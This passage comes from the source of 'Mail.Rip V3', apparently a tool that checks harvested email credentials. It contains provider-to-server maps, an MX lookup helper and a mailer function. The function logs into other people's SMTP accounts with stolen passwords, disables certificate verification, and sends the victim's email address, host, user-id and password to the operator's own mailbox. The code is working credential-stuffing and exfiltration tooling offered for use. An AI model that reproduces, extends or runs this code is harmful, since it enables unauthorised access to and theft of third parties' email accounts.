272 | "kittymail.com":"imap.mail.com:993",
273 | "klog.dk":"mail.telenor.dk:143",
274 | "knus.dk":"mail.telenor.dk:143",
275 | "koreamail.com":"imap.mail.com:993",
276 | "krudt.dk":"mail.telenor.dk:143",
277 | "kulturel.dk":"mail.telenor.dk:143",
278 | "kundenserver.de":"imap.1und1.de:993",
279 | "laposte.net":"imap.laposte.net:993",
280 | "larsen.dk":"mail.telenor.dk:143",
281 | "lawyer.com":"imap.mail.com:993",
282 | "lazy.dk":"mail.telenor.dk:143",
283 | "legislator.com":"imap.mail.com:993",
284 | "libero.it":"imapmail.libero.it:143",
285 | "linuxmail.org":"imap.mail.com:993",
286 | "list.ru":"imap.mail.ru:993",
287 | "live.at":"imap-mail.outlook.com:993",
288 | "live.co.jp":"imap-mail.outlook.com:993",
289 | "live.co.uk":"imap-mail.outlook.com:993",
290 | "live.com":"imap-mail.outlook.com:993",
291 | "live.de":"imap-mail.outlook.com:993",
292 | "live.fr":"imap-mail.outlook.com:993",
293 | "live.it":"imap-mail.outlook.com:993",
294 | "live.jp":"imap-mail.outlook.com:993",
295 | "live.nl":"imap-mail.outlook.com:993",
296 | "london.com":"imap.mail.com:993",
297 | "loop.de":"imap.o2mail.de:993",
298 | "loveable.com":"imap.mail.com:993",
299 | "lovecat.com":"imap.mail.com:993",
300 | "lycos":"imap.lycos.com:993",
301 | "lystig.dk":"mail.telenor.dk:143",
302 | "mac.com":"imap.mail.me.com:993",
303 | "mad.scientist.com":"imap.mail.com:993",
304 | "madonnafan.com":"imap.mail.com:993",
305 | "madrid.com":"imap.mail.com:993",
306 | "mail.com":"imap.mail.com:993",
307 | "mail.de":"imap.mail.de:993",
308 | "mail.dia.dk":"mail.telenor.dk:143",
309 | "mail.org":"imap.mail.com:993",
310 | "mail.ru":"imap.mail.ru:993",
311 | "mail.telenor.dk":"mail.telenor.dk:143",
312 | "marchmail.com":"imap.mail.com:993",
313 | "maskulin.dk":"mail.telenor.dk:143",
314 | "me.com":"imap.mail.me.com:993",
315 | "mexicomail.com":"imap.mail.com:993",
316 | "min-postkasse.dk":"mail.telenor.dk:143",
317 | "mindless.com":"imap.mail.com:993",
318 | "mindspring.com":"imap.earthlink.net:143",
319 | "minister.com":"imap.mail.com:993",
320 | "mobil.dk":"mail.telenor.dk:143",
321 | "mobsters.com":"imap.mail.com:993",
322 | "monarchy.com":"imap.mail.com:993",
323 | "mopera.net":"mail.mopera.net:993",
324 | "moscowmail.com":"imap.mail.com:993",
325 | "mozilla.com":"imap.googlemail.com:993",
326 | "mozillafoundation.org":"imap.googlemail.com:993",
327 | "msn.com":"imap-mail.outlook.com:993",
328 | "munich.com":"imap.mail.com:993",
329 | "musician.org":"imap.mail.com:993",
330 | "muslim.com":"imap.mail.com:993",
331 | "musling.dk":"mail.telenor.dk:143",
332 | "mymail.ch":"mail.mymail.ch:993",
333 | "mypec.eu":"imaps.pec.aruba.it:993",
334 | "myself.com":"imap.mail.com:993",
335 | "narod.ru":"imap.yandex.com:993",
336 | "natteliv.dk":"mail.telenor.dk:143",
337 | "netbruger.dk":"mail.telenor.dk:143",
338 | "netcologne.de":"imap.netcologne.de:993",
339 | "netscape.net":"imap.aol.com:993",
340 | "neuf.fr":"imap.sfr.fr:993",
341 | "newyork.usa.com":"imap.mail.com:993",
342 | "nord-com.net":"imap.swbmail.de:993",
343 | "null.net":"imap.mail.com:993",
344 | "nvbell.net":"inbound.att.net:995",
345 | "nycmail.com":"imap.mail.com:993",
346 | "o2.pl":"poczta.o2.pl:995",
347 | "o2mail.de":"imap.o2mail.de:993",
348 | "o2online.de":"imap.o2mail.de:993",
349 | "oath.com":"imap.mail.com:993",
350 | "one.com":"imap.one.com:993",
351 | "online.de":"imap.1und1.de:993",
352 | "onlinehome.de":"imap.1und1.de:993",
353 | "op.pl":"pop3.poczta.onet.pl:995",
354 | "optician.com":"imap.mail.com:993",
355 | "orange.fr":"imap.orange.fr:993",
356 | "osnanet.de":"imap.osnanet.de:993",
357 | "outlook.com":"imap-mail.outlook.com:993",
358 | "ovh.net":"ssl0.ovh.net:993",
359 | "pacbell.net":"inbound.att.net:995",
360 | "pacificwest.com":"imap.mail.com:993",
361 | "pec.it":"imaps.pec.aruba.it:993",
362 | "pedal.dk":"mail.telenor.dk:143",
363 | "pengemand.dk":"mail.telenor.dk:143",
364 | "peoplepc.com":"imap.peoplepc.com:143",
365 | "petlover.com":"imap.mail.com:993",
366 | "photographer.net":"imap.mail.com:993",
367 | "playful.com":"imap.mail.com:993",
368 | "pobox.com":"mail.pobox.com:993",
369 | "poetic.com":"imap.mail.com:993",
370 | "pokerface.dk":"mail.telenor.dk:143",
371 | "politician.com":"imap.mail.com:993",
372 | "popstar.com":"imap.mail.com:993",
373 | "post.com":"imap.mail.com:993",
374 | "post.cybercity.dk":"mail.telenor.dk:143",
375 | "post.cz":"imap.seznam.cz:993",
376 | "post.dia.dk":"mail.telenor.dk:143",
377 | "posteo.at":"posteo.de:143",
378 | "posteo.ch":"posteo.de:143",
379 | "posteo.de":"posteo.de:143",
380 | "posteo.eu":"posteo.de:143",
381 | "posteo.org":"posteo.de:143",
382 | "postman.dk":"mail.telenor.dk:143",
383 | "presidency.com":"imap.mail.com:993",
384 | "priest.com":"imap.mail.com:993",
385 | "privat.dia.dk":"mail.telenor.dk:143",
386 | "privatmail.dk":"mail.telenor.dk:143",
387 | "prodigy.net":"inbound.att.net:995",
388 | "programmer.net":"imap.mail.com:993",
389 | "proximus.be":"imap.proximus.be:993",
390 | "ptd.net":"promail.ptd.net:993",
391 | "publicist.com":"imap.mail.com:993",
392 | "q.com":"mail.q.com:995",
393 | "qq.com":"imap.qq.com:993",
394 | "quake.dk":"mail.telenor.dk:143",
395 | "rambler.ru":"mail.rambler.ru:993",
396 | "ready.dk":"mail.telenor.dk:143",
397 | "realtyagent.com":"imap.mail.com:993",
398 | "reborn.com":"imap.mail.com:993",
399 | "reggaefan.com":"imap.mail.com:993",
400 | "religious.com":"imap.mail.com:993",
401 | "repairman.com":"imap.mail.com:993",
402 | "representative.com":"imap.mail.com:993",
403 | "rescueteam.com":"imap.mail.com:993",
404 | "revenue.com":"imap.mail.com:993",
405 | "rocketmail.com":"imap.mail.yahoo.com:993",
406 | "rocketship.com":"imap.mail.com:993",
407 | "rockfan.com":"imap.mail.com:993",
408 | "rome.com":"imap.mail.com:993",
409 | "royal.net":"imap.mail.com:993",
410 | "rr.com":"mail.twc.com:993",
411 | "ruhrnet-online.de":"mx.versatel.de:143",
412 | "rzone.de":"imap.strato.de:993",
413 | "saintly.com":"imap.mail.com:993",
414 | "salesperson.net":"imap.mail.com:993",
415 | "sanfranmail.com":"imap.mail.com:993",
416 | "sbcglobal.net":"inbound.att.net:995",
417 | "schlund.de":"imap.1und1.de:993",
418 | "scientist.com":"imap.mail.com:993",
419 | "scotlandmail.com":"imap.mail.com:993",
420 | "secret.dk":"mail.telenor.dk:143",
421 | "secretary.net":"imap.mail.com:993",
422 | "seductive.com":"imap.mail.com:993",
423 | "seznam.cz":"imap.seznam.cz:993",
424 | "sfr.fr":"imap.sfr.fr:993",
425 | "singapore.com":"imap.mail.com:993",
426 | "sky.com":"imap.tools.sky.com:993",
427 | "skynet.be":"imap.proximus.be:993",
428 | "sleepy.dk":"mail.telenor.dk:143",
429 | "smart-mail":"imap.smart-mail.de:993",
430 | "smtp.cz":"email.active24.com:993",
431 | "snakebite.com":"imap.mail.com:993",
432 | "snet.net":"inbound.att.net:995",
433 | "so.wind.jp":"so.wind.ne.jp:143",
434 | "so.wind.ne.jp":"so.wind.ne.jp:143",
435 | "sofort-start.de":"imap.1und1.de:993",
436 | "sofort-surf.de":"imap.1und1.de:993",
437 | "sofortstart.de":"imap.1und1.de:993",
438 | "sofortsurf.de":"imap.1und1.de:993",
439 | "songwriter.net":"imap.mail.com:993",
440 | "soon.com":"imap.mail.com:993",
441 | "spainmail.com":"imap.mail.com:993",
442 | "spoluzaci.cz":"imap.seznam.cz:993",
443 | "sporty.dk":"mail.telenor.dk:143",
444 | "strato.de":"imap.strato.de:993",
445 | "studenti.univr.it":"univr.mail.cineca.it:993",
446 | "sunrise.ch":"imap.sunrise.ch:993",
447 | "superbruger.dk":"mail.telenor.dk:143",
448 | "surfeu.de":"mail.surfeu.de:993",
449 | "swbell.net":"inbound.att.net:995",
450 | "swbmail.de":"imap.swbmail.de:993",
451 | "swissonline.ch":"imap.hispeed.ch:993",
452 | "sympatico.ca":"imap.bell.net:993",
453 | "t-online.de":"secureimap.t-online.de:993",
454 | "talent.dk":"mail.telenor.dk:143",
455 | "talk21.com":"mail.btinternet.com:993",
456 | "tanke.dk":"mail.telenor.dk:143",
457 | "taxidriver.dk":"mail.telenor.dk:143",
458 | "teachers.org":"imap.mail.com:993",
459 | "techie.com":"imap.mail.com:993",
460 | "technologist.com":"imap.mail.com:993",
461 | "teens.dk":"mail.telenor.dk:143",
462 | "teknik.dk":"mail.telenor.dk:143",
463 | "telebel.de":"mx.versatel.de:143",
464 | "telelev.de":"mx.versatel.de:143",
465 | "telenet.be":"imap.telenet.be:993",
466 | "telstra.com":"mail.bigpond.com:995",
467 | "terra.es":"imap4.terra.es:143",
468 | "texas.usa.com":"imap.mail.com:993",
469 | "thegame.com":"imap.mail.com:993",
470 | "therapist.net":"imap.mail.com:993",
471 | "thinline.cz":"mail.cesky-hosting.cz:993",
472 | "tiscali.it":"imap.tiscali.it:993",
473 | "tiscali.net":"imap.tiscali.it:993",
474 | "tjekket.dk":"mail.telenor.dk:143",
475 | "toke.com":"imap.mail.com:993",
476 | "tokyo.com":"imap.mail.com:993",
477 | "toothfairy.com":"imap.mail.com:993",
478 | "traceroute.dk":"mail.telenor.dk:143",
479 | "tu-berlin.de":"mailbox.tu-berlin.de:993",
480 | "tv.dk":"mail.telenor.dk:143",
481 | "tvstar.com":"imap.mail.com:993",
482 | "ugenstilbud.dk":"mail.telenor.dk:143",
483 | "umpire.com":"imap.mail.com:993",
484 | "ungdom.dk":"mail.telenor.dk:143",
485 | "uni-muenster.de":"imap.uni-muenster.de:993",
486 | "uni.de":"mail.uni.de:993",
487 | "unitybox.de":"imap.unitybox.de:993",
488 | "unitybox.de":"mail.unitybox.de:993",
489 | "usa.com":"imap.mail.com:993",
490 | "utanet.at":"mail.utanet.at:993",
491 | "uymail.com":"imap.mail.com:993",
492 | "versanet.de":"mx.versatel.de:143",
493 | "versatel.de":"imap4.versatel.de:993",
494 | "versatel.de":"mx.versatel.de:143",
495 | "video.dk":"mail.telenor.dk:143",
496 | "vip.cybercity.dk":"mail.telenor.dk:143",
497 | "virgin.net":"imap4.virgin.net:993",
498 | "virginmedia.com":"imap.virginmedia.com:993",
499 | "vittig.dk":"mail.telenor.dk:143",
500 | "vm.aikis.or.jp":"mail.aikis.or.jp:995",
501 | "vodafone.de":"imap.vodafone.de:993",
502 | "vodafone.net":"imap.vodafone.de:993",
503 | "vr-web.de":"mail.vr-web.de:993",
504 | "vtxmail.ch":"smtp.vtxmail.ch:993",
505 | "wallet.com":"imap.mail.com:993",
506 | "wanadoo.fr":"imap.orange.fr:993",
507 | "wans.net":"inbound.att.net:995",
508 | "web.de":"imap.web.de:993",
509 | "webhuset.no":"imap.webhuset.no:993",
510 | "webname.com":"imap.mail.com:993",
511 | "weirdness.com":"imap.mail.com:993",
512 | "who.net":"imap.mail.com:993",
513 | "whoever.com":"imap.mail.com:993",
514 | "winning.com":"imap.mail.com:993",
515 | "witty.com":"imap.mail.com:993",
516 | "wol.dk":"mail.telenor.dk:143",
517 | "worker.com":"imap.mail.com:993",
518 | "workmail.com":"imap.mail.com:993",
519 | "worldonline.dk":"mail.telenor.dk:143",
520 | "wp.pl":"imap.wp.pl:993",
521 | "writeme.com":"imap.mail.com:993",
522 | "xtra.co.nz":"pop3.xtra.co.nz:995",
523 | "ya.ru":"imap.yandex.com:993",
524 | "yahoo.co.jp":"pop.mail.yahoo.co.jp:995",
525 | "yahoo.co.nz":"imap.mail.yahoo.com:993",
526 | "yahoo.co.uk":"imap.mail.yahoo.com:993",
527 | "yahoo.com.ar":"imap.mail.yahoo.com:993",
528 | "yahoo.com.au":"imap.mail.yahoo.com:993",
529 | "yahoo.com.br":"imap.mail.yahoo.com:993",
530 | "yahoo.com.mx":"imap.mail.yahoo.com:993",
531 | "yahoo.com":"imap.mail.yahoo.com:993",
532 | "yahoo.de":"imap.mail.yahoo.com:993",
533 | "yahoo.es":"imap.mail.yahoo.com:993",
534 | "yahoo.fr":"imap.mail.yahoo.com:993",
535 | "yahoo.gr":"imap.mail.yahoo.com:993",
536 | "yahoo.it":"imap.mail.yahoo.com:993",
537 | "yahoo.no":"imap.mail.yahoo.com:993",
538 | "yahoo.se":"imap.mail.yahoo.com:993",
539 | "yahoodns.net":"imap.mail.yahoo.com:993",
540 | "yandex.by":"imap.yandex.com:993",
541 | "yandex.com":"imap.yandex.com:993",
542 | "yandex.kz":"imap.yandex.com:993",
543 | "yandex.net":"imap.yandex.com:993",
544 | "yandex.ru":"imap.yandex.com:993",
545 | "yandex.ua":"imap.yandex.com:993",
546 | "yeah.net":"imap.yeah.net:993",
547 | "ymail.com":"imap.mail.yahoo.com:993",
548 | "yours.com":"imap.mail.com:993",
549 | "zeelandnet.nl":"mail.zeelandnet.nl:993"
550 | }
551 | }
552 |
--------------------------------------------------------------------------------
/inc_mxlookup.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/opt/python@3.8/bin/python3
2 | # -*- coding: utf-8 -*-
3 |
4 | __author__ = 'DrPython3'
5 | __date__ = '2021-12-04'
6 | __version__ = '1.1'
7 | __contact__ = 'https://github.com/DrPython3'
8 |
9 | '''
10 | --------------------------------------------
11 | Functions for Reading MX Records of a Domain
12 | --------------------------------------------
13 |
14 | Part of << Mail.Rip V3: https://github.com/DrPython3/MailRipV3 >>
15 | '''
16 |
17 | # [IMPORTS]
18 | # ---------
19 |
20 | import sys
21 | import socket
22 | import dns.resolver
23 | from inc_etc import domain_verification
24 |
25 | # [FUNCTIONS]
26 | # -----------
27 |
28 | def get_host(default_timeout, email):
29 | '''
30 | Checks the DNS records of an email-domain for MX infos and returns any found SMTP URI.
31 |
32 | :param float default_timeout: connection timeout
33 | :param str email: email with domain to check
34 | :return: found (True, False), smtp_host (SMTP URI)
35 | '''
36 | # set variables and stuff:
37 | socket.setdefaulttimeout(default_timeout)
38 | found = False
39 | smtp_host = str('none')
40 | smtp_domain = str(email.split('@')[1])
41 | get_records = dns.resolver.Resolver(configure=False)
42 | # using Google DNS, replace on purpose:
43 | get_records.nameservers = ['8.8.8.8']
44 | records = get_records.resolve(smtp_domain, 'MX')
45 | counter = 0
46 | # extract host from records:
47 | while found == False:
48 | try:
49 | possible_host = str(records[counter]).split(' ')[1].rstrip('.')
50 | verify_domain = domain_verification(possible_host)
51 | if verify_domain == True:
52 | smtp_host = possible_host
53 | found = True
54 | else:
55 | counter += 1
56 | except:
57 | break
58 | return found, smtp_host
59 |
60 | # DrPython3 (C) 2021 @ GitHub.com
61 |
--------------------------------------------------------------------------------
/inc_smtpports.json:
--------------------------------------------------------------------------------
1 | {
2 | "smtpports":[
3 | 25,
4 | 587,
5 | 465,
6 | 2525
7 | ]
8 | }
9 |
--------------------------------------------------------------------------------
/inc_smtpservices.json:
--------------------------------------------------------------------------------
1 | {
2 | "smtpservices":{
3 | "1and1.co.uk":"smtp.1and1.com:587",
4 | "1and1.com":"smtp.1and1.com:587",
5 | "1und1.de":"smtp.1und1.de:587",
6 | "aim.com":"smtp.aim.com:587",
7 | "alice-dsl.de":"smtp.alice-dsl.de:587",
8 | "alice-dsl.net":"smtp.alice-dsl.de:587",
9 | "alice.de":"smtp.alice-dsl.de:587",
10 | "aol.com":"smtp.aol.com:587",
11 | "aol.de":"smtp.de.aol.com:587",
12 | "comcast.net":"smtp.comcast.net:587",
13 | "earthlink.net":"smtpauth.earthlink.net:587",
14 | "email.com":"smtp.mail.com:587",
15 | "email.de":"smtp.mail.de:587",
16 | "ewe.net":"smtp.ewe.net:587",
17 | "google.com":"smtp.gmail.com:587",
18 | "googlemail.com":"smtp.gmail.com:587",
19 | "gmail.com":"smtp.gmail.com:587",
20 | "home.nl":"smtp.ziggo.nl:587",
21 | "homemail.com":"smtp.mail.com:587",
22 | "hotmail.co.uk":"smtp.live.com:587",
23 | "hotmail.com":"smtp.live.com:587",
24 | "hotmail.de":"smtp.live.com:587",
25 | "icloud.com":"smtp.mail.me.com:587",
26 | "live.com":"smtp.office365.com:587",
27 | "live.de":"smtp.office365.com:587",
28 | "mail.com":"smtp.mail.com:587",
29 | "mail.de":"smtp.mail.de:587",
30 | "mail.org":"smtp.mail.com:587",
31 | "mail.ru":"smtp.mail.ru:587",
32 | "me.com":"smtp.mail.me.com:587",
33 | "msn.com":"smtp.office365.com:587",
34 | "netscape.net":"smtp.aol.com:587",
35 | "online.de":"smtp.1und1.de:587",
36 | "onlinehome.de":"smtp.1und1.de:587",
37 | "outlook.com":"smtp.office365.com:587",
38 | "post.com":"smtp.mail.com:587",
39 | "t-online.de":"securesmtp.t-online.de:587",
40 | "tiscali.co.uk":"smtp.tiscali.co.uk:587",
41 | "vodafone.de":"smtp.vodafonemail.de:587",
42 | "vodafone.net":"smtp.vodafonemail.de:587",
43 | "yahoo.co.uk":"smtp.mail.yahoo.com:587",
44 | "yahoo.com":"smtp.mail.yahoo.com:587",
45 | "yahoo.de":"smtp.mail.yahoo.com:587",
46 | "seznam.cz":"smtp.seznam.cz:587",
47 | "club-internet.fr":"smtp.club-internet.fr:587",
48 | "web.de":"smtp.web.de:587",
49 | "outlook.de":"smtp.office365.com:587",
50 | "office365.com":"smtp.office365.com:587",
51 | "yeah.net":"smtp.yeah.net:587",
52 | "hawaiiantel.net":"smtp.hawaiiantel.net:587",
53 | "sina.cn":"smtp.sina.cn:587",
54 | "163.com":"smtp.163.com:587",
55 | "mybluelight.com":"smtp.mybluelight.com:587",
56 | "sfr.fr":"mail.sfr.fr:587",
57 | "netzero.net":"smtp.netzero.net:587",
58 | "ziggo.nl":"smtp.ziggo.nl:587",
59 | "terra.com.br":"smtp.sao.terra.com.br:587",
60 | "charter.net":"mobile.charter.net:587",
61 | "att.net":"smtp.mail.att.net:465",
62 | "ameritech.net":"smtp.mail.att.net:465",
63 | "bellsouth.net":"smtp.mail.att.net:465",
64 | "prodigy.net":"smtp.mail.att.net:465",
65 | "cox.net":"smtp.coxmail.com:465",
66 | "cox.com":"smtp.coxmail.com:465",
67 | "coxmail.com":"smtp.coxmail.com:465",
68 | "freesurf.ch":"smtp2.sunrise.ch:465",
69 | "gmx.com":"mail.gmx.com:465",
70 | "gmx.de":"mail.gmx.com:465",
71 | "gmx.net":"mail.gmx.com:465",
72 | "gmx.org":"mail.gmx.com:465",
73 | "kabelmail.de":"smtp.kabelmail.de:465",
74 | "netcologne.de":"smtp.netcologne.de:465",
75 | "orange.fr":"smtp.orange.fr:465",
76 | "sunrise.ch":"smtp2.sunrise.ch:465",
77 | "virgin.net":"smtp.virgin.net:465",
78 | "wanadoo.fr":"smtp.orange.fr:465",
79 | "yandex.com":"smtp.yandex.com:465",
80 | "yandex.net":"smtp.yandex.com:465",
81 | "yandex.ru":"smtp.yandex.com:465",
82 | "uol.com.br":"smtp.uol.com.br:465",
83 | "ntlworld.com":"smtp.ntlworld.com:465",
84 | "alice.it":"out.alice.it:25",
85 | "arcor.de":"mail.arcor.de:25",
86 | "arcormail.de":"mail.arcor.de:25",
87 | "btinternet.com":"mail.btinternet.com:25",
88 | "btopenworld.com":"mail.btinternet.com:25",
89 | "epost.de":"mail.epost.de:25",
90 | "ewetel.de":"smtp-1.ewetel.net:25",
91 | "ewetel.net":"smtp-1.ewetel.net:25",
92 | "freenet.de":"mx.freenet.de:25",
93 | "lycos.com":"smtp.mail.lycos.com:25",
94 | "lycos.de":"smtp.lycos.de:25",
95 | "tiscali.net":"smtp.tiscalinet.de:25",
96 | "baldwin-telecom.net":"mail.baldwin-telecom.net:25",
97 | "rambler.ru":"mail.rambler.ru:25"
98 | }
99 | }
100 |
--------------------------------------------------------------------------------
/inc_testmail.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/opt/python@3.8/bin/python3
2 | # -*- coding: utf-8 -*-
3 |
4 | __author__ = 'DrPython3'
5 | __date__ = '2021-12-04'
6 | __version__ = '2.5'
7 | __contact__ = 'https://github.com/DrPython3'
8 |
9 | '''
10 | ----------------------------------------------------------
11 | Functions for Sending Test Messages with found SMTP Logins
12 | ----------------------------------------------------------
13 |
14 | Part of << Mail.Rip V3: https://github.com/DrPython3/MailRipV3 >>
15 | '''
16 |
17 | # [IMPORTS]
18 | # ---------
19 |
20 | import sys
21 | import json
22 | import uuid
23 | import smtplib
24 | import ssl
25 | from random import randint
26 | from email.message import EmailMessage
27 |
28 | # [FUNCTIONS]
29 | # -----------
30 |
31 | def mailer(default_email, target_email, target_host, target_port, target_user, target_password):
32 | '''
33 | Tests found SMTP logins by sending a message to the user's email.
34 |
35 | :param str default_email: user email for receiving test messages
36 | :param str target_email: email of found smtp login
37 | :param str target_host: host of found smtp login
38 | :param int target_port: port of smtp host
39 | :param str target_user: user-id of found smtp login
40 | :param str target_password: password for user-id
41 | :return: True (email sent), False (no email sent)
42 | '''
43 | try:
44 | # set variables and stuff:
45 | sslcontext = ssl.create_default_context()
46 | try:
47 | sslcontext.check_hostname = False
48 | sslcontext.verify_mode = ssl.CERT_NONE
49 | except:
50 | pass
51 | content_loaded = False
52 | try:
53 | with open('inc_emailcontent.json') as included_imports:
54 | json_object = json.load(included_imports)
55 | email_titles = (json_object['email_titles'])
56 | email_firstlines = (json_object['email_firstlines'])
57 | email_secondlines = (json_object['email_secondlines'])
58 | email_thirdlines = (json_object['email_thirdlines'])
59 | content_loaded = True
60 | except:
61 | email_titles = []
62 | email_firstlines = []
63 | email_secondlines = []
64 | email_thirdlines = []
65 | # generate random id:
66 | random_id = str(uuid.uuid4().hex)[0:6].upper()
67 | # generate parts of the message using the libraries:
68 | if content_loaded == True:
69 | letter_subject = str(
70 | email_titles[randint(0, len(email_titles) - 1)] + random_id
71 | )
72 | letter_firstline = str(
73 | email_firstlines[randint(0, len(email_firstlines) - 1)]
74 | )
75 | letter_secondline= str(
76 | email_secondlines[randint(0, len(email_secondlines) - 1)]
77 | )
78 | letter_thirdline = str(
79 | email_thirdlines[randint(0, len(email_thirdlines) - 1)]
80 | )
81 | # if previous step fails, this fallback is used:
82 | else:
83 | letter_subject = str(
84 | f'Test Message ID{random_id}'
85 | )
86 | letter_firstline = str(
87 | 'thank you for using mailrip by drpython3.'
88 | )
89 | letter_secondline = str(
90 | 'the following smtp account was found.'
91 | )
92 | letter_thirdline = str(
93 | 'this hit has been saved to the results dir, too.'
94 | )
95 | # generate the testmessage:
96 | message = str(
97 | letter_firstline + '\n'
98 | + letter_secondline + '\n'
99 | + f'email: {target_email}\n'
100 | + f'smtp host: {target_host}:{str(target_port)}\n'
101 | + f'user-id: {target_user}\n'
102 | + f'password: {target_password}\n'
103 | + letter_thirdline + '\n'
104 | )
105 | # pack the testmessage:
106 | letter = EmailMessage()
107 | letter.set_content(message)
108 | letter['Subject'] = str(f'{letter_subject}')
109 | letter['From'] = str(f'{target_email}')
110 | letter['To'] = str(f'{default_email}')
111 | # connect to smtp server:
112 | if target_port == 465:
113 | mailer = smtplib.SMTP_SSL(
114 | host=target_host,
115 | port=target_port,
116 | timeout=float(60),
117 | context=sslcontext
118 | )
119 | mailer.ehlo()
120 | else:
121 | mailer = smtplib.SMTP(
122 | host=target_host,
123 | port=target_port,
124 | timeout=float(60)
125 | )
126 | mailer.ehlo()
127 | try:
128 | mailer.starttls(
129 | context=sslcontext
130 | )
131 | mailer.ehlo()
132 | except:
133 | pass
134 | mailer.login(
135 | user=target_user,
136 | password=target_password
137 | )
138 | # send email and quit:
139 | mailer.send_message(letter)
140 | mailer.quit()
141 | return True
142 | except:
143 | return False
144 |
145 | # DrPython3 (C) 2021 @ GitHub.com
146 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | tkinter
2 | dnspython
3 | PySocks
4 |
--------------------------------------------------------------------------------